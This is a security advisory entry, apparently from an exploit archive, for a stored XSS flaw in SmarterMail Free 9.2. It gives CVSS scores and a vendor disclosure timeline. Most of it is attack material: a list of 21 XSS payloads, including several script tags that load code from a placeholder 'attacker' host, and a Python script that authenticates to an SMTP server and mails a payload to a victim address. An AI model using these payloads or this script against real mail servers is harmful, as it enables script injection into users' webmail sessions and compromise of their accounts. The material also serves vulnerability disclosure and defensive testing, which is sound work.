SmarterMail Free 9.2 stored XSS

2012.09.19
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

#!/usr/bin/python ''' Author: loneferret of Offensive Security Product: SmarterMail Version: Free 9.2 Vendor Site: http://www.smartertools.com Software Download: http://smartertools.com/smartermail/mail-server-software.aspx Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 23 Jul 2012: Update from CERT. Vendor response: "It looks like a scan was run against an older version of SmarterMail. It would need to be tested against either version 9.4 or 10.0." 08 Aug 2012: Public Disclosure Installed On: Windows Server 2003 SP2 Client Test OS: Window XP Pro SP3 (x86) Browser Used: Internet Explorer 8 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Internet Explorer 9 Injection Point: Body Injection Payload(s): 1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 2: <SCRIPT>alert('XSS')</SCRIPT> 3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 4: <DIV STYLE="width: expression(alert('XSS'));"> 5: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT> 6: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT> 7: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT> 8: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT> 9: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT> 10: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT> 11: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 12: <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> 13: <<SCRIPT>alert("XSS");//<</SCRIPT> 14: <SCRIPT SRC=//attacker/.j> 15: </TITLE><SCRIPT>alert("XSS");</SCRIPT> 16: <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> 17: <!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-- 18: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT> 19: <XSS STYLE="xss:expression(alert('XSS'))"> 20: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 21: exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> ''' import smtplib, urllib2 payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>""" def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@offsec.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: XSS\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@offsec.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@offsec.local" smtpsrv = "172.16.84.171" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password)

References:

http://smartertools.com/smartermail/mail-server-software.aspx
http://www.smartertools.com


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